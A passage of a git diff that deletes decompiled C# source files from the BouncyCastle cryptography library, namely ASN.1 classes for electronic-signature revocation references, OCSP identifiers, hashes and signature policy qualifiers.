ArgumentException("Illegal tag in CrlOcspRef", "seq"); - } - } - } - - public CrlOcspRef(CrlListID crlids, OcspListID ocspids, OtherRevRefs otherRev) - { - this.crlids = crlids; - this.ocspids = ocspids; - this.otherRev = otherRev; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (crlids != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, crlids.ToAsn1Object())); - } - if (ocspids != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, ocspids.ToAsn1Object())); - } - if (otherRev != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, otherRev.ToAsn1Object())); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlValidatedID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlValidatedID.cs deleted file mode 100644 index 1b3c70d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlValidatedID.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CrlValidatedID : Asn1Encodable -{ - private readonly OtherHash crlHash; - - private readonly CrlIdentifier crlIdentifier; - - public OtherHash CrlHash => crlHash; - - public CrlIdentifier CrlIdentifier => crlIdentifier; - - public static CrlValidatedID GetInstance(object obj) - { - if (obj == null || obj is CrlValidatedID) - { - return (CrlValidatedID)obj; - } - if (obj is Asn1Sequence) - { - return new CrlValidatedID((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CrlValidatedID' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CrlValidatedID(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - crlHash = OtherHash.GetInstance(seq[0].ToAsn1Object()); - if (seq.Count > 1) - { - crlIdentifier = CrlIdentifier.GetInstance(seq[1].ToAsn1Object()); - } - } - - public CrlValidatedID(OtherHash crlHash) - : this(crlHash, null) - { - } - - public CrlValidatedID(OtherHash crlHash, CrlIdentifier crlIdentifier) - { - if (crlHash == null) - { - throw new ArgumentNullException("crlHash"); - } - this.crlHash = crlHash; - this.crlIdentifier = crlIdentifier; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(crlHash.ToAsn1Object()); - if (crlIdentifier != null) - { - asn1EncodableVector.Add(crlIdentifier.ToAsn1Object()); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/EsfAttributes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/EsfAttributes.cs deleted file mode 100644 index 0ed8bc1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/EsfAttributes.cs +++ /dev/null @@ -1,34 +0,0 @@ -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Asn1.Esf; - -public abstract class EsfAttributes -{ - public static readonly DerObjectIdentifier SigPolicyId = PkcsObjectIdentifiers.IdAAEtsSigPolicyID; - - public static readonly DerObjectIdentifier CommitmentType = PkcsObjectIdentifiers.IdAAEtsCommitmentType; - - public static readonly DerObjectIdentifier SignerLocation = PkcsObjectIdentifiers.IdAAEtsSignerLocation; - - public static readonly DerObjectIdentifier SignerAttr = PkcsObjectIdentifiers.IdAAEtsSignerAttr; - - public static readonly DerObjectIdentifier OtherSigCert = PkcsObjectIdentifiers.IdAAEtsOtherSigCert; - - public static readonly DerObjectIdentifier ContentTimestamp = PkcsObjectIdentifiers.IdAAEtsContentTimestamp; - - public static readonly DerObjectIdentifier CertificateRefs = PkcsObjectIdentifiers.IdAAEtsCertificateRefs; - - public static readonly DerObjectIdentifier RevocationRefs = PkcsObjectIdentifiers.IdAAEtsRevocationRefs; - - public static readonly DerObjectIdentifier CertValues = PkcsObjectIdentifiers.IdAAEtsCertValues; - - public static readonly DerObjectIdentifier RevocationValues = PkcsObjectIdentifiers.IdAAEtsRevocationValues; - - public static readonly DerObjectIdentifier EscTimeStamp = PkcsObjectIdentifiers.IdAAEtsEscTimeStamp; - - public static readonly DerObjectIdentifier CertCrlTimestamp = PkcsObjectIdentifiers.IdAAEtsCertCrlTimestamp; - - public static readonly DerObjectIdentifier ArchiveTimestamp = PkcsObjectIdentifiers.IdAAEtsArchiveTimestamp; - - public static readonly DerObjectIdentifier ArchiveTimestampV2 = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.48"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspIdentifier.cs deleted file mode 100644 index bc44c3d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspIdentifier.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OcspIdentifier : Asn1Encodable -{ - private readonly ResponderID ocspResponderID; - - private readonly DerGeneralizedTime producedAt; - - public ResponderID OcspResponderID => ocspResponderID; - - public DateTime ProducedAt => producedAt.ToDateTime(); - - public static OcspIdentifier GetInstance(object obj) - { - if (obj == null || obj is OcspIdentifier) - { - return (OcspIdentifier)obj; - } - if (obj is Asn1Sequence) - { - return new OcspIdentifier((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OcspIdentifier' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OcspIdentifier(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - ocspResponderID = ResponderID.GetInstance(seq[0].ToAsn1Object()); - producedAt = (DerGeneralizedTime)seq[1].ToAsn1Object(); - } - - public OcspIdentifier(ResponderID ocspResponderID, DateTime producedAt) - { - if (ocspResponderID == null) - { - throw new ArgumentNullException(); - } - this.ocspResponderID = ocspResponderID; - this.producedAt = new DerGeneralizedTime(producedAt); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(ocspResponderID, producedAt); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspListID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspListID.cs deleted file mode 100644 index e23d49c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspListID.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OcspListID : Asn1Encodable -{ - private readonly Asn1Sequence ocspResponses; - - public static OcspListID GetInstance(object obj) - { - if (obj == null || obj is OcspListID) - { - return (OcspListID)obj; - } - if (obj is Asn1Sequence) - { - return new OcspListID((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OcspListID' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OcspListID(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count != 1) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - ocspResponses = (Asn1Sequence)seq[0].ToAsn1Object(); - foreach (Asn1Encodable ocspResponse in ocspResponses) - { - OcspResponsesID.GetInstance(ocspResponse.ToAsn1Object()); - } - } - - public OcspListID(params OcspResponsesID[] ocspResponses) - { - if (ocspResponses == null) - { - throw new ArgumentNullException("ocspResponses"); - } - this.ocspResponses = new DerSequence(ocspResponses); - } - - public OcspListID(IEnumerable ocspResponses) - { - if (ocspResponses == null) - { - throw new ArgumentNullException("ocspResponses"); - } - if (!CollectionUtilities.CheckElementsAreOfType(ocspResponses, typeof(OcspResponsesID))) - { - throw new ArgumentException("Must contain only 'OcspResponsesID' objects", "ocspResponses"); - } - this.ocspResponses = new DerSequence(Asn1EncodableVector.FromEnumerable(ocspResponses)); - } - - public OcspResponsesID[] GetOcspResponses() - { - OcspResponsesID[] array = new OcspResponsesID[ocspResponses.Count]; - for (int i = 0; i < ocspResponses.Count; i++) - { - array[i] = OcspResponsesID.GetInstance(ocspResponses[i].ToAsn1Object()); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(ocspResponses); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspResponsesID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspResponsesID.cs deleted file mode 100644 index a4fd42e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OcspResponsesID.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OcspResponsesID : Asn1Encodable -{ - private readonly OcspIdentifier ocspIdentifier; - - private readonly OtherHash ocspRepHash; - - public OcspIdentifier OcspIdentifier => ocspIdentifier; - - public OtherHash OcspRepHash => ocspRepHash; - - public static OcspResponsesID GetInstance(object obj) - { - if (obj == null || obj is OcspResponsesID) - { - return (OcspResponsesID)obj; - } - if (obj is Asn1Sequence) - { - return new OcspResponsesID((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OcspResponsesID' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OcspResponsesID(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - ocspIdentifier = OcspIdentifier.GetInstance(seq[0].ToAsn1Object()); - if (seq.Count > 1) - { - ocspRepHash = OtherHash.GetInstance(seq[1].ToAsn1Object()); - } - } - - public OcspResponsesID(OcspIdentifier ocspIdentifier) - : this(ocspIdentifier, null) - { - } - - public OcspResponsesID(OcspIdentifier ocspIdentifier, OtherHash ocspRepHash) - { - if (ocspIdentifier == null) - { - throw new ArgumentNullException("ocspIdentifier"); - } - this.ocspIdentifier = ocspIdentifier; - this.ocspRepHash = ocspRepHash; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(ocspIdentifier.ToAsn1Object()); - if (ocspRepHash != null) - { - asn1EncodableVector.Add(ocspRepHash.ToAsn1Object()); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherCertID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherCertID.cs deleted file mode 100644 index b81f1b9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherCertID.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OtherCertID : Asn1Encodable -{ - private readonly OtherHash otherCertHash; - - private readonly IssuerSerial issuerSerial; - - public OtherHash OtherCertHash => otherCertHash; - - public IssuerSerial IssuerSerial => issuerSerial; - - public static OtherCertID GetInstance(object obj) - { - if (obj == null || obj is OtherCertID) - { - return (OtherCertID)obj; - } - if (obj is Asn1Sequence) - { - return new OtherCertID((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OtherCertID' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OtherCertID(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - otherCertHash = OtherHash.GetInstance(seq[0].ToAsn1Object()); - if (seq.Count > 1) - { - issuerSerial = IssuerSerial.GetInstance(seq[1].ToAsn1Object()); - } - } - - public OtherCertID(OtherHash otherCertHash) - : this(otherCertHash, null) - { - } - - public OtherCertID(OtherHash otherCertHash, IssuerSerial issuerSerial) - { - if (otherCertHash == null) - { - throw new ArgumentNullException("otherCertHash"); - } - this.otherCertHash = otherCertHash; - this.issuerSerial = issuerSerial; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(otherCertHash.ToAsn1Object()); - if (issuerSerial != null) - { - asn1EncodableVector.Add(issuerSerial.ToAsn1Object()); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherHash.cs deleted file mode 100644 index e80388e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherHash.cs +++ /dev/null @@ -1,82 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OtherHash : Asn1Encodable, IAsn1Choice -{ - private readonly Asn1OctetString sha1Hash; - - private readonly OtherHashAlgAndValue otherHash; - - public AlgorithmIdentifier HashAlgorithm - { - get - { - if (otherHash != null) - { - return otherHash.HashAlgorithm; - } - return new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1); - } - } - - public static OtherHash GetInstance(object obj) - { - if (obj == null || obj is OtherHash) - { - return (OtherHash)obj; - } - if (obj is Asn1OctetString) - { - return new OtherHash((Asn1OctetString)obj); - } - return new OtherHash(OtherHashAlgAndValue.GetInstance(obj)); - } - - public OtherHash(byte[] sha1Hash) - { - if (sha1Hash == null) - { - throw new ArgumentNullException("sha1Hash"); - } - this.sha1Hash = new DerOctetString(sha1Hash); - } - - public OtherHash(Asn1OctetString sha1Hash) - { - if (sha1Hash == null) - { - throw new ArgumentNullException("sha1Hash"); - } - this.sha1Hash = sha1Hash; - } - - public OtherHash(OtherHashAlgAndValue otherHash) - { - if (otherHash == null) - { - throw new ArgumentNullException("otherHash"); - } - this.otherHash = otherHash; - } - - public byte[] GetHashValue() - { - if (otherHash != null) - { - return otherHash.GetHashValue(); - } - return sha1Hash.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - if (otherHash != null) - { - return otherHash.ToAsn1Object(); - } - return sha1Hash; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherHashAlgAndValue.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherHashAlgAndValue.cs deleted file mode 100644 index 3228810..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherHashAlgAndValue.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OtherHashAlgAndValue : Asn1Encodable -{ - private readonly AlgorithmIdentifier hashAlgorithm; - - private readonly Asn1OctetString hashValue; - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public static OtherHashAlgAndValue GetInstance(object obj) - { - if (obj == null || obj is OtherHashAlgAndValue) - { - return (OtherHashAlgAndValue)obj; - } - if (obj is Asn1Sequence) - { - return new OtherHashAlgAndValue((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OtherHashAlgAndValue' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OtherHashAlgAndValue(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - hashAlgorithm = AlgorithmIdentifier.GetInstance(seq[0].ToAsn1Object()); - hashValue = (Asn1OctetString)seq[1].ToAsn1Object(); - } - - public OtherHashAlgAndValue(AlgorithmIdentifier hashAlgorithm, byte[] hashValue) - { - if (hashAlgorithm == null) - { - throw new ArgumentNullException("hashAlgorithm"); - } - if (hashValue == null) - { - throw new ArgumentNullException("hashValue"); - } - this.hashAlgorithm = hashAlgorithm; - this.hashValue = new DerOctetString(hashValue); - } - - public OtherHashAlgAndValue(AlgorithmIdentifier hashAlgorithm, Asn1OctetString hashValue) - { - if (hashAlgorithm == null) - { - throw new ArgumentNullException("hashAlgorithm"); - } - if (hashValue == null) - { - throw new ArgumentNullException("hashValue"); - } - this.hashAlgorithm = hashAlgorithm; - this.hashValue = hashValue; - } - - public byte[] GetHashValue() - { - return hashValue.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(hashAlgorithm, hashValue); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherRevRefs.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherRevRefs.cs deleted file mode 100644 index 9ecae83..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherRevRefs.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OtherRevRefs : Asn1Encodable -{ - private readonly DerObjectIdentifier otherRevRefType; - - private readonly Asn1Object otherRevRefs; - - public DerObjectIdentifier OtherRevRefType => otherRevRefType; - - public Asn1Object OtherRevRefsObject => otherRevRefs; - - public static OtherRevRefs GetInstance(object obj) - { - if (obj == null || obj is OtherRevRefs) - { - return (OtherRevRefs)obj; - } - if (obj is Asn1Sequence) - { - return new OtherRevRefs((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OtherRevRefs' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OtherRevRefs(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - otherRevRefType = (DerObjectIdentifier)seq[0].ToAsn1Object(); - otherRevRefs = seq[1].ToAsn1Object(); - } - - public OtherRevRefs(DerObjectIdentifier otherRevRefType, Asn1Encodable otherRevRefs) - { - if (otherRevRefType == null) - { - throw new ArgumentNullException("otherRevRefType"); - } - if (otherRevRefs == null) - { - throw new ArgumentNullException("otherRevRefs"); - } - this.otherRevRefType = otherRevRefType; - this.otherRevRefs = otherRevRefs.ToAsn1Object(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(otherRevRefType, otherRevRefs); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherRevVals.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherRevVals.cs deleted file mode 100644 index 7c4f952..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherRevVals.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OtherRevVals : Asn1Encodable -{ - private readonly DerObjectIdentifier otherRevValType; - - private readonly Asn1Object otherRevVals; - - public DerObjectIdentifier OtherRevValType => otherRevValType; - - public Asn1Object OtherRevValsObject => otherRevVals; - - public static OtherRevVals GetInstance(object obj) - { - if (obj == null || obj is OtherRevVals) - { - return (OtherRevVals)obj; - } - if (obj is Asn1Sequence) - { - return new OtherRevVals((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OtherRevVals' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OtherRevVals(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - otherRevValType = (DerObjectIdentifier)seq[0].ToAsn1Object(); - otherRevVals = seq[1].ToAsn1Object(); - } - - public OtherRevVals(DerObjectIdentifier otherRevValType, Asn1Encodable otherRevVals) - { - if (otherRevValType == null) - { - throw new ArgumentNullException("otherRevValType"); - } - if (otherRevVals == null) - { - throw new ArgumentNullException("otherRevVals"); - } - this.otherRevValType = otherRevValType; - this.otherRevVals = otherRevVals.ToAsn1Object(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(otherRevValType, otherRevVals); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherSigningCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherSigningCertificate.cs deleted file mode 100644 index ad41229..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/OtherSigningCertificate.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class OtherSigningCertificate : Asn1Encodable -{ - private readonly Asn1Sequence certs; - - private readonly Asn1Sequence policies; - - public static OtherSigningCertificate GetInstance(object obj) - { - if (obj == null || obj is OtherSigningCertificate) - { - return (OtherSigningCertificate)obj; - } - if (obj is Asn1Sequence) - { - return new OtherSigningCertificate((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'OtherSigningCertificate' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private OtherSigningCertificate(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - certs = Asn1Sequence.GetInstance(seq[0].ToAsn1Object()); - if (seq.Count > 1) - { - policies = Asn1Sequence.GetInstance(seq[1].ToAsn1Object()); - } - } - - public OtherSigningCertificate(params OtherCertID[] certs) - : this(certs, (PolicyInformation[])null) - { - } - - public OtherSigningCertificate(OtherCertID[] certs, params PolicyInformation[] policies) - { - if (certs == null) - { - throw new ArgumentNullException("certs"); - } - this.certs = new DerSequence(certs); - if (policies != null) - { - this.policies = new DerSequence(policies); - } - } - - public OtherSigningCertificate(IEnumerable certs) - : this(certs, null) - { - } - - public OtherSigningCertificate(IEnumerable certs, IEnumerable policies) - { - if (certs == null) - { - throw new ArgumentNullException("certs"); - } - if (!CollectionUtilities.CheckElementsAreOfType(certs, typeof(OtherCertID))) - { - throw new ArgumentException("Must contain only 'OtherCertID' objects", "certs"); - } - this.certs = new DerSequence(Asn1EncodableVector.FromEnumerable(certs)); - if (policies != null) - { - if (!CollectionUtilities.CheckElementsAreOfType(policies, typeof(PolicyInformation))) - { - throw new ArgumentException("Must contain only 'PolicyInformation' objects", "policies"); - } - this.policies = new DerSequence(Asn1EncodableVector.FromEnumerable(policies)); - } - } - - public OtherCertID[] GetCerts() - { - OtherCertID[] array = new OtherCertID[certs.Count]; - for (int i = 0; i < certs.Count; i++) - { - array[i] = OtherCertID.GetInstance(certs[i].ToAsn1Object()); - } - return array; - } - - public PolicyInformation[] GetPolicies() - { - if (policies == null) - { - return null; - } - PolicyInformation[] array = new PolicyInformation[policies.Count]; - for (int i = 0; i < policies.Count; i++) - { - array[i] = PolicyInformation.GetInstance(policies[i].ToAsn1Object()); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certs); - if (policies != null) - { - asn1EncodableVector.Add(policies); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/RevocationValues.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/RevocationValues.cs deleted file mode 100644 index 0fcc618..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/RevocationValues.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class RevocationValues : Asn1Encodable -{ - private readonly Asn1Sequence crlVals; - - private readonly Asn1Sequence ocspVals; - - private readonly OtherRevVals otherRevVals; - - public OtherRevVals OtherRevVals => otherRevVals; - - public static RevocationValues GetInstance(object obj) - { - if (obj == null || obj is RevocationValues) - { - return (RevocationValues)obj; - } - return new RevocationValues(Asn1Sequence.GetInstance(obj)); - } - - private RevocationValues(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - foreach (Asn1TaggedObject item in seq) - { - Asn1Object asn1Object = item.GetObject(); - switch (item.TagNo) - { - case 0: - { - Asn1Sequence asn1Sequence2 = (Asn1Sequence)asn1Object; - foreach (Asn1Encodable item2 in asn1Sequence2) - { - CertificateList.GetInstance(item2.ToAsn1Object()); - } - crlVals = asn1Sequence2; - break; - } - case 1: - { - Asn1Sequence asn1Sequence = (Asn1Sequence)asn1Object; - foreach (Asn1Encodable item3 in asn1Sequence) - { - BasicOcspResponse.GetInstance(item3.ToAsn1Object()); - } - ocspVals = asn1Sequence; - break; - } - case 2: - otherRevVals = OtherRevVals.GetInstance(asn1Object); - break; - default: - throw new ArgumentException("Illegal tag in RevocationValues", "seq"); - } - } - } - - public RevocationValues(CertificateList[] crlVals, BasicOcspResponse[] ocspVals, OtherRevVals otherRevVals) - { - if (crlVals != null) - { - this.crlVals = new DerSequence(crlVals); - } - if (ocspVals != null) - { - this.ocspVals = new DerSequence(ocspVals); - } - this.otherRevVals = otherRevVals; - } - - public RevocationValues(IEnumerable crlVals, IEnumerable ocspVals, OtherRevVals otherRevVals) - { - if (crlVals != null) - { - if (!CollectionUtilities.CheckElementsAreOfType(crlVals, typeof(CertificateList))) - { - throw new ArgumentException("Must contain only 'CertificateList' objects", "crlVals"); - } - this.crlVals = new DerSequence(Asn1EncodableVector.FromEnumerable(crlVals)); - } - if (ocspVals != null) - { - if (!CollectionUtilities.CheckElementsAreOfType(ocspVals, typeof(BasicOcspResponse))) - { - throw new ArgumentException("Must contain only 'BasicOcspResponse' objects", "ocspVals"); - } - this.ocspVals = new DerSequence(Asn1EncodableVector.FromEnumerable(ocspVals)); - } - this.otherRevVals = otherRevVals; - } - - public CertificateList[] GetCrlVals() - { - CertificateList[] array = new CertificateList[crlVals.Count]; - for (int i = 0; i < crlVals.Count; i++) - { - array[i] = CertificateList.GetInstance(crlVals[i].ToAsn1Object()); - } - return array; - } - - public BasicOcspResponse[] GetOcspVals() - { - BasicOcspResponse[] array = new BasicOcspResponse[ocspVals.Count]; - for (int i = 0; i < ocspVals.Count; i++) - { - array[i] = BasicOcspResponse.GetInstance(ocspVals[i].ToAsn1Object()); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (crlVals != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, crlVals)); - } - if (ocspVals != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, ocspVals)); - } - if (otherRevVals != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, otherRevVals.ToAsn1Object())); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SigPolicyQualifierInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SigPolicyQualifierInfo.cs deleted file mode 100644 index c87ece4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SigPolicyQualifierInfo.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class SigPolicyQualifierInfo : Asn1Encodable -{ - private readonly DerObjectIdentifier sigPolicyQualifierId; - - private readonly Asn1Object sigQualifier; - - public DerObjectIdentifier SigPolicyQualifierId => sigPolicyQualifierId; - - public Asn1Object SigQualifier => sigQualifier; - - public static SigPolicyQualifierInfo GetInstance(object obj) - { - if (obj == null || obj is SigPolicyQualifierInfo) - { - return (SigPolicyQualifierInfo)obj; - } - if (obj is Asn1Sequence) - { - return new SigPolicyQualifierInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'SigPolicyQualifierInfo' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private SigPolicyQualifierInfo(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - sigPolicyQualifierId = (DerObjectIdentifier)seq[0].ToAsn1Object(); - sigQualifier = seq[1].ToAsn1Object(); - } - - public SigPolicyQualifierInfo(DerObjectIdentifier sigPolicyQualifierId, Asn1Encodable sigQualifier) - { - this.sigPolicyQualifierId = sigPolicyQualifierId; - this.sigQualifier = sigQualifier.ToAsn1Object(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(sigPolicyQualifierId, sigQualifier); - } -} diff --git 